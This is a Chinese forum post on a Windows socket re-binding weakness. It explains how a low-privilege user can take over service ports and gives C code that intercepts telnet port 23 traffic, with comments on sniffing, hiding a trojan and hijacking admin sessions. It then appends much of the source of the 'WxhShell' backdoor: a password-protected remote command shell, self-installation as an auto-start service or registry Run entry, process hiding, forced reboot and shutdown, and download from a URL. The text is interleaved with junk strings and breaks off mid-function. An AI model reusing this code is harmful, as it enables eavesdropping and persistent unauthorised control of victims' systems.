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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P{dR pH|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U>t:*SNC*  
.g/!u(iy  
  saddr.sin_family = AF_INET; VQ!4( <XD  
+_:p8, 5o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |!K&h(J|  
ScJ:F-@>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xd3mAf  
cPIyD?c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L^e*_q2d:>  
2>"{El|PbN  
  这意味着什么?意味着可以进行如下的攻击: HV!P]82Pa  
Jha*BaD~N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U+VJiz<!  
<@`K^g;W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~6#mVP5sU)  
s;h`n$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f@Mku0VT  
PE7V1U#$o,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '0 Ys`Qo  
+]t9kr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >kAJS??  
=O8YU)#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #~j$J  
QqL?? p-S>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~oOv/1v},  
2h5T$[fV  
  #include (a!E3y5,  
  #include e~QLzZ3  
  #include j 1'H|4  
  #include    NHZMH!=4:n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %/zHL?RqJ  
  int main() z*nztvY@e  
  { rREev  
  WORD wVersionRequested; ~(m6dPm$}m  
  DWORD ret; XXwIp-'  
  WSADATA wsaData; sUF5Y q:9  
  BOOL val; VII`qbxT  
  SOCKADDR_IN saddr; y%--/;  
  SOCKADDR_IN scaddr; @lB1t= D  
  int err; Nt+UL/1]  
  SOCKET s; R7Tl 1!,h  
  SOCKET sc; XF{2'x_R  
  int caddsize; LzXIqj'H7T  
  HANDLE mt; N0fE*xo  
  DWORD tid;   ed,+Slg  
  wVersionRequested = MAKEWORD( 2, 2 ); j+< !4 0#  
  err = WSAStartup( wVersionRequested, &wsaData ); w;VUP@Wm  
  if ( err != 0 ) { Y\!:/h]E&  
  printf("error!WSAStartup failed!\n"); "~C \Z} ;  
  return -1; |RpZr!3V  
  } qyyLU@hd  
  saddr.sin_family = AF_INET; Ahd{f!  
   M]\"]H?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oQyMs>g  
T5~Qfl?Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #oGvxc7  
  saddr.sin_port = htons(23); ziW[qH {  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KJ?/]oLr0  
  { TuMZHB7h;  
  printf("error!socket failed!\n"); yyR@kOGga  
  return -1; Zfu" 8fX  
  } W6B o\UK  
  val = TRUE; !/&~Feb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tORDtMM9+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bVRxGn @l  
  { h\-jqaq  
  printf("error!setsockopt failed!\n"); 0g#?'sD  
  return -1; QqY42hR  
  } 'U`I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [0+5 Gx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h^9Ne/s~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (K"t</]  
Q6Zh%\+h(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Sdmynuv U  
  { RDG,f/L2  
  ret=GetLastError(); I@a7!ugU65  
  printf("error!bind failed!\n"); XeBSHvO_  
  return -1; ;LT#/t)}<  
  } Q~*3Z4)j  
  listen(s,2); U|h@Pw z  
  while(1) CvTgtZ '  
  { \v_t: "  
  caddsize = sizeof(scaddr); 7L:R&W6  
  //接受连接请求 $0iN43WSQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y@%6*uTLa  
  if(sc!=INVALID_SOCKET) m4P=,=%  
  { Df/f&;`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q^V`%+  
  if(mt==NULL) dR /UXzrc  
  { sXC]{] P  
  printf("Thread Creat Failed!\n"); >BQF<  
  break; 4sK|l|W  
  } NU/~E"^I.  
  } 1[`l`Truz  
  CloseHandle(mt); nBiA=+'v  
  } eEe8T=mD  
  closesocket(s); ]i]sgg[  
  WSACleanup(); ?t.?f`(|  
  return 0; Hp> J,m(*  
  }   cl7+DAE  
  DWORD WINAPI ClientThread(LPVOID lpParam) zck |jhJ6  
  { f<'&_*7,|t  
  SOCKET ss = (SOCKET)lpParam; N<Q}4%^c  
  SOCKET sc; 4_I,wG@  
  unsigned char buf[4096]; VF==F_l  
  SOCKADDR_IN saddr; LRd,7P  
  long num; ZCJ8I  
  DWORD val; v:T` D  
  DWORD ret; 8UL:C?eY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B&Ci*#e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8QZk0O  
  saddr.sin_family = AF_INET; z06pX$Q.<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SS~Txt75m  
  saddr.sin_port = htons(23); yxQAO_C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =v5(*$"pd"  
  { ^lMnwqx<  
  printf("error!socket failed!\n"); (U dDp"/  
  return -1; f,a4LF  
  } o_*|`E  
  val = 100; Q}.y"|^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |)JoxqR  
  { _&![s]  
  ret = GetLastError(); ^9b `;}).  
  return -1; L,4 ^Of  
  } R +JI ?/H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x?<5=,  
  { j1iC1=`ZM  
  ret = GetLastError(); Q6W)rJ[|  
  return -1; /tv;W  
  } ti#sh{t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ];2eIe  
  { h+^T);h};|  
  printf("error!socket connect failed!\n"); n0i&P9@B1  
  closesocket(sc); FfgJ 2y  
  closesocket(ss); 0j/81Y}p  
  return -1; xNqQbk F  
  } G =4y!y  
  while(1) B# H  
  { w+$gY?%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q(p0#Mk,E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eB@i)w?@o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =K>Z{% i  
  num = recv(ss,buf,4096,0); y?@Y\ b  
  if(num>0) aC$g(>xFt  
  send(sc,buf,num,0); B+DRe 8  
  else if(num==0) \j;uN#)28  
  break; cnPX vD^kY  
  num = recv(sc,buf,4096,0); lM1!2d'P  
  if(num>0) R39R$\  
  send(ss,buf,num,0); 5)o IPHXw  
  else if(num==0) B:r-')!0$#  
  break; g^4FzJ  
  } =U2Te  
  closesocket(ss); .}<B*e=y  
  closesocket(sc); 9iy|=  
  return 0 ; @ :4Kk 4g1  
  } pNJM]-D]m~  
9cmJD5OO  
+?:V\niQI  
========================================================== \ +xIH  
l>(G3l Iw  
下边附上一个代码,,WXhSHELL bv4cw#5z$9  
zB$6e!fc  
========================================================== 7Mv$.Z(  
.nH /=  
#include "stdafx.h" 6qJB"_.  
66Xt=US  
#include <stdio.h> |\(/dXXP  
#include <string.h> 9|WWA%p  
#include <windows.h> ` ;=Se_  
#include <winsock2.h> #"{8Z&Z  
#include <winsvc.h> piFQ7B  
#include <urlmon.h> e,*[5xQ  
OA=;9AcZ  
#pragma comment (lib, "Ws2_32.lib") 19u? ^w  
#pragma comment (lib, "urlmon.lib") w;$+7  
qU n>  
#define MAX_USER   100 // 最大客户端连接数 ui{_w @o  
#define BUF_SOCK   200 // sock buffer ">9CN$]J  
#define KEY_BUFF   255 // 输入 buffer y4L9Cxvs  
NFc8"7Mz}  
#define REBOOT     0   // 重启 a !K;8#xc  
#define SHUTDOWN   1   // 关机 \-0`%k"&  
_MEv*Q@o  
#define DEF_PORT   5000 // 监听端口 %S#"pKE6 R  
L>b,}w  
#define REG_LEN     16   // 注册表键长度 "y0 A<-~  
#define SVC_LEN     80   // NT服务名长度 9.=#4OH/  
8W>l(w9M  
// 从dll定义API (B-9M)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5w1[KO#K|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X8x>oV;8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7$=@q|$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +3>4 ?,^g  
xH[yIfHkG@  
// wxhshell配置信息 e"6i >w!  
struct WSCFG { 3T/j5m}+!  
  int ws_port;         // 监听端口 $\!;*SSj  
  char ws_passstr[REG_LEN]; // 口令 ?63JQ.;  
  int ws_autoins;       // 安装标记, 1=yes 0=no uP]o39b;V  
  char ws_regname[REG_LEN]; // 注册表键名 ] O>7x  
  char ws_svcname[REG_LEN]; // 服务名 A%2}?Ds  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uCfp+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sK?-@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j2M(W/_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rtx]dc1m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6w;|-/:`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )x&@j4,  
OF/)-}!  
}; q)b?X ^  
>pvg0Fh  
// default Wxhshell configuration >NA7,Z2.  
struct WSCFG wscfg={DEF_PORT, NF!1)  
    "xuhuanlingzhe", +:%FJCOT  
    1, K>6k@okO  
    "Wxhshell", - (}1o9e\7  
    "Wxhshell", tlgvBRH>  
            "WxhShell Service", "'B%.a#k  
    "Wrsky Windows CmdShell Service", Sg>0P*K@  
    "Please Input Your Password: ", !y~b;>887  
  1, QJM!Wx+  
  "http://www.wrsky.com/wxhshell.exe", 5qSZ>DZ  
  "Wxhshell.exe" 9nS!  
    }; %:?QE ;  
xN8JrZE&  
// 消息定义模块 SqF.DB~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !gHWYWu)!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :[f`HY&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =Zy!',,d,9  
char *msg_ws_ext="\n\rExit."; ><R.z( 4%  
char *msg_ws_end="\n\rQuit."; AuipK*&g  
char *msg_ws_boot="\n\rReboot..."; i?dKmRp(@y  
char *msg_ws_poff="\n\rShutdown..."; S)@vl^3ec  
char *msg_ws_down="\n\rSave to "; ld}$Tsy0  
A i){,nh`0  
char *msg_ws_err="\n\rErr!"; >wO$Vu `t  
char *msg_ws_ok="\n\rOK!"; ]G PJ(+5  
DF|s,J`98  
char ExeFile[MAX_PATH]; zN)\2  
int nUser = 0; cCGXB|9fYR  
HANDLE handles[MAX_USER]; S!W/K!wf  
int OsIsNt; X\2hKUkT  
ko2j|*D6@~  
SERVICE_STATUS       serviceStatus; .r5oN+?e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .4FcZJvy  
XuoEAu8]  
// 函数声明 |;m`874  
int Install(void); /8t+d.r;/  
int Uninstall(void); l )*,18n  
int DownloadFile(char *sURL, SOCKET wsh); cievC,3*  
int Boot(int flag); CN~NyJL H  
void HideProc(void); PFy;qk  
int GetOsVer(void); 65#:2,s  
int Wxhshell(SOCKET wsl); D8AIV K]  
void TalkWithClient(void *cs); !LOors za  
int CmdShell(SOCKET sock); g^$11  
int StartFromService(void); 33'lZ ubV  
int StartWxhshell(LPSTR lpCmdLine); D#Yx,`Ui  
Pph8"`mv.m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i6#]$B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T) tZU?  
;GFB@I@  
// 数据结构和表定义 )(Mr f{  
SERVICE_TABLE_ENTRY DispatchTable[] = )1nCw  
{ #3yw   
{wscfg.ws_svcname, NTServiceMain}, 83ic@[  
{NULL, NULL} ,,gLrV k  
}; vF6*c  
J2< QAX  
// 自我安装 [ 7Lxt  
int Install(void) tb?F}MEe  
{ Z<|_+7T  
  char svExeFile[MAX_PATH]; Iei7!KLW  
  HKEY key; wEnuUC4j  
  strcpy(svExeFile,ExeFile); =ch Af=  
WCmNibj  
// 如果是win9x系统,修改注册表设为自启动 m_!vIUOz  
if(!OsIsNt) { Jp3di&x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &M3ES}6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H]$=*(aje  
  RegCloseKey(key);  +iH30v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jhsv2,8 {  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q X%vRf0  
  RegCloseKey(key); n~)HfY  
  return 0; !\#Wk0Ku  
    } %:w% o$  
  } "4ozlWx  
} s w.AfRQP  
else { EhIV(q9x  
0YpiHoM  
// 如果是NT以上系统,安装为系统服务 Yl&tkSw46  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FfxX)p1t  
if (schSCManager!=0) SQt|(r)  
{ GtM( Y  
  SC_HANDLE schService = CreateService 7}'A)C>J;  
  ( od}EM_  
  schSCManager, vf'cx:m  
  wscfg.ws_svcname, `!omzE*bk5  
  wscfg.ws_svcdisp, {nQ)4.e6  
  SERVICE_ALL_ACCESS, S}w.#tyEn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @bW[J  
  SERVICE_AUTO_START, v-;XyVx  
  SERVICE_ERROR_NORMAL, S@}B:}2  
  svExeFile, rI<nUy P?  
  NULL, ?wLdW1&PpX  
  NULL, :Dk@?o@2;C  
  NULL, Y0PGT5].@'  
  NULL, E +Ujpd  
  NULL OS"{"P  
  ); ^s2m\Q(  
  if (schService!=0) _[TH@fO6:  
  { Z[k#AgC)  
  CloseServiceHandle(schService); [EmOA.6  
  CloseServiceHandle(schSCManager); 1J-Qh<Q   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C '-zh\a  
  strcat(svExeFile,wscfg.ws_svcname); OHHNWg_5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ," C[Qg(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y^ X\^Kq  
  RegCloseKey(key); XJmFJafQD  
  return 0; &gA6+b'  
    } WXLe,7y  
  } &R'w-0k_  
  CloseServiceHandle(schSCManager); ,l$NJt   
} N4a`8dS|  
} Z#4JA/c!  
r*6"'W>c6  
return 1; % QPWw~}:  
} BEXQTM3])I  
h"u<E\g  
// 自我卸载 'T)Or,d  
int Uninstall(void) m%oGzx+  
{ msc 1^2  
  HKEY key; OB?SkR  
kRN|TDx(  
if(!OsIsNt) { : F7k{~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NV} RRs  
  RegDeleteValue(key,wscfg.ws_regname); ).NcLJw_  
  RegCloseKey(key); W&+y(Z-t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "Y G\  
  RegDeleteValue(key,wscfg.ws_regname); O->_/_  
  RegCloseKey(key); (ve+,H6w\  
  return 0; ]~ !X iCqu  
  } *?_qE  
} cc|CC Zl  
} *.m{jgi1X  
else { r"{Is?yKe  
6kt]`H`cfJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \}$*}gW[}  
if (schSCManager!=0) RDs,sj/Y9?  
{ Y&vHOA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jDlA<1  
  if (schService!=0) T[0V%Br{d+  
  { 8pYyG |\  
  if(DeleteService(schService)!=0) { /[a|DUoHO  
  CloseServiceHandle(schService); n}< ir!ZTO  
  CloseServiceHandle(schSCManager); y#S1c)vU  
  return 0; M!N` Orz  
  } F+ffl^BQ  
  CloseServiceHandle(schService); ";PG%_(  
  } AH&9Nye8  
  CloseServiceHandle(schSCManager); >j50 ;</  
} l^k+E-w\  
} wVgi+P  
p`>AnfG  
return 1; 3<c*v/L{C\  
} = :Po%Z%{  
XnBm`vk?V!  
// 从指定url下载文件 O6y @G .+  
int DownloadFile(char *sURL, SOCKET wsh) ~TYbP  
{ C _8j:Z&  
  HRESULT hr; 2Sge  
char seps[]= "/"; pO"m~mpA  
char *token; R{*_1cyW  
char *file; p{NPcT%&  
char myURL[MAX_PATH]; &&X$d!V  
char myFILE[MAX_PATH];  bt;lq!g  
fd4;mc1T  
strcpy(myURL,sURL); @&?a]>L  
  token=strtok(myURL,seps); W|;nJs:e  
  while(token!=NULL) C@%iQ]=  
  { jEUx q%BH  
    file=token; H}vn$$ O  
  token=strtok(NULL,seps); VR "u*  
  } hIR@^\?  
qh%i5Mu  
GetCurrentDirectory(MAX_PATH,myFILE); oG!6}5  
strcat(myFILE, "\\"); "?$L'!bM@  
strcat(myFILE, file); A&N$tH  
  send(wsh,myFILE,strlen(myFILE),0); !q!"UMiG  
send(wsh,"...",3,0); ,# ]+HS^B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $zdd=.!KiK  
  if(hr==S_OK) T`uDlo  
return 0; ytEQ`  
else Iq+2mQi*/k  
return 1; I?^aCnU  
&a.']!$^"  
} M9gOoYf,~  
y)P&]&"?  
// 系统电源模块 c8T/4hU MN  
int Boot(int flag) Tru c[A.2Z  
{ +|6`E3j%  
  HANDLE hToken; O{~KR/  
  TOKEN_PRIVILEGES tkp; Fav?,Q,n  
{Jrf/p9w  
  if(OsIsNt) { d$}&nV/A)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vyE{WkZxR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5\WUoSgy  
    tkp.PrivilegeCount = 1; WhH!U0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N8VVGPa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h{I`7X  
if(flag==REBOOT) { gt'*B5F(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 47KNT7C  
  return 0; 8+ov(B;(  
} 22z1g(; @  
else { DacN {r"3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >E, Q  
  return 0; Y.7}  
} MZ WmlJ   
  } w^3|(F  
  else { ?b56AE  
if(flag==REBOOT) { p+$+MeBz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &Y+e=1a+  
  return 0; QCWf.@n  
}  7SaiS_{:  
else { *,17x`1e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t ^m~  
  return 0; >Co)2d]  
} " CM ucK  
} c+8V|'4  
_C20 +PMO  
return 1; syR N4  
} iA9 E^  
nWk e#{[  
// win9x进程隐藏模块 ~T% Ui#Gc  
void HideProc(void) H;QA@tF>5  
{ Pubv$u2  
q(gjT^aN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j1A|D   
  if ( hKernel != NULL ) !.*iw k`  
  { L!,d"wuD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2 L:$aZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W2hA-1  
    FreeLibrary(hKernel); H'Nq#K  
  } -G-3q6A  
tF^g<)S;t  
return; eQ;Q4  
} \%TyrY+`K  
myIe_k,F  
// 获取操作系统版本 W&YU^&`Yr  
int GetOsVer(void) _lX8K:C(  
{ ALXTR%f  
  OSVERSIONINFO winfo; LL.x11 o3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pw\P<9e=  
  GetVersionEx(&winfo); oR#Ob#&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >g]ON9CGH  
  return 1; Plfdr~$  
  else B$?^wo  
  return 0; >'b=YlUL  
} q_sEw~~@!  
%m`zWg-  
// 客户端句柄模块 GJ,a RI  
int Wxhshell(SOCKET wsl) 'OD) v  
{ h)cY])tGtK  
  SOCKET wsh; :b@igZ<  
  struct sockaddr_in client; 0q#"clw  
  DWORD myID; n1,S_Hs  
JRY_ nX  
  while(nUser<MAX_USER) Zj!Abji=O  
{ Ys3uPs  
  int nSize=sizeof(client); 35_)3 R)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s6n`?,vw  
  if(wsh==INVALID_SOCKET) return 1; UFw](%=&M  
bq NP#C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,EI:gLH  
if(handles[nUser]==0) #K4*6LI  
  closesocket(wsh); [Gtb+'8  
else O,'#C\   
  nUser++; E7`qmn  
  } 64umul  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +rc SL8C  
Q|c|2byb  
  return 0; i%F<AY\O)  
} mp1ttGUtM  
QIK 9  
// 关闭 socket `N'V#)Pi  
void CloseIt(SOCKET wsh) ,[l`zp  
{ p0VUh!  
closesocket(wsh); #K|9^4jt  
nUser--; 50$W0L$  
ExitThread(0); + >nr.,qo3  
} Q4Q pn  
Ur3m[07H  
// 客户端请求句柄 WbcS: !0  
void TalkWithClient(void *cs) 4TZ cc|B5  
{ J# EP%  
:c=.D;,  
  SOCKET wsh=(SOCKET)cs; cbYK5fj"T  
  char pwd[SVC_LEN]; 0BK5qz  
  char cmd[KEY_BUFF]; ?\y%]1  
char chr[1]; |<c WllN  
int i,j; "HK/u(z)  
J'Sm0  
  while (nUser < MAX_USER) { :m ZYS4L~  
`]<`$71w  
if(wscfg.ws_passstr) { pW|u P8#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tTuX\;G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =J/FJb  
  //ZeroMemory(pwd,KEY_BUFF); [Y/:@t"2y  
      i=0; zk}{ dG^M:  
  while(i<SVC_LEN) { :NE/Ddgc'  
f<=Fe:1.  
  // 设置超时 ^$NJD  
  fd_set FdRead; 6R4<J% $P  
  struct timeval TimeOut; ^R~~L  
  FD_ZERO(&FdRead); Q2QY* A  
  FD_SET(wsh,&FdRead); f~ U.a.Fb  
  TimeOut.tv_sec=8; >5ChcefH  
  TimeOut.tv_usec=0; , ;jGJr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -6C +LbV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r,NgG!zq<  
6N" l{!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~x]9SXD%  
  pwd=chr[0]; Dl,`\b@Fw3  
  if(chr[0]==0xd || chr[0]==0xa) { t'(1I|7  
  pwd=0; @dEiVF`4:  
  break; 75NRCXh.  
  } AK@L32-S  
  i++; ."6[:MF  
    } lr3mE  
d%ME@6K)  
  // 如果是非法用户,关闭 socket Hj6'pJ4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ue{xnjw>U  
} ,={t8lN  
{' 5qv@3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -d=WV:G%e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DL8x":;  
,D=fFpn  
while(1) { caq} &A]C  
tef^ShF]  
  ZeroMemory(cmd,KEY_BUFF); QG3&p<  
!mnUdR|>(  
      // 自动支持客户端 telnet标准   K7(MD1tk  
  j=0; f.xA_Y>  
  while(j<KEY_BUFF) { eV};9VJ$F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EgM*d)X  
  cmd[j]=chr[0]; `I;F$`\  
  if(chr[0]==0xa || chr[0]==0xd) { ] d?x$>  
  cmd[j]=0; zm#nV Y`  
  break; K=\O5#F?3  
  } K8[DZ)rO;Z  
  j++; D E/:['  
    } (z7+|JE.  
.~D>5 JnEk  
  // 下载文件 %,q. ),F  
  if(strstr(cmd,"http://")) { /X*oS&-M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e %O0hE  
  if(DownloadFile(cmd,wsh)) zI;0&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WF2-$`x  
  else ~r*P]*51x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dcfe_EuT  
  } nsuX*C7  
  else { xge7r3i  
L 3XB"A#  
    switch(cmd[0]) { U5r}6D!)  
  c j$6  
  // 帮助 }}{Yw  
  case '?': { H=^K@Ti:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <V&5P3)d9  
    break; 'MxSd(T =  
  } F"jt&9jg  
  // 安装 gAbD7SE  
  case 'i': { A%bCMP  
    if(Install()) +9A\HQ|22  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); obH; g*  
    else 47>>4_Hz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DXR:1w[^  
    break; R9o-`Wz  
    } 4=<*Vd`p  
  // 卸载 [ .,>wo~  
  case 'r': { LlYTv% I  
    if(Uninstall()) 2I'~2o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gzn^#3b  
    else a2@c%i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K7)kS  
    break; k;^ :  
    } uE5X~  
  // 显示 wxhshell 所在路径 ~/#1G.H  
  case 'p': { mTDVlw0dh  
    char svExeFile[MAX_PATH]; e@<?zS6  
    strcpy(svExeFile,"\n\r"); /n,a?Ft^N)  
      strcat(svExeFile,ExeFile); 6" B%)0  
        send(wsh,svExeFile,strlen(svExeFile),0); 5<YzalNf  
    break; V9%aBkf8w  
    } ?&+9WJ<M  
  // 重启 :!TI K1  
  case 'b': { FY3IUG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qSU| =  
    if(Boot(REBOOT)) ?h8{xa5b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8{ c!).  
    else { [:EvTY  
    closesocket(wsh); ] ZoPQUS?  
    ExitThread(0);  $)~   
    } ef"?|sn  
    break; Dt}rR[yJ  
    } _=XX~^I,  
  // 关机 6dqsFns}e  
  case 'd': { cntco@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H*I4xT@  
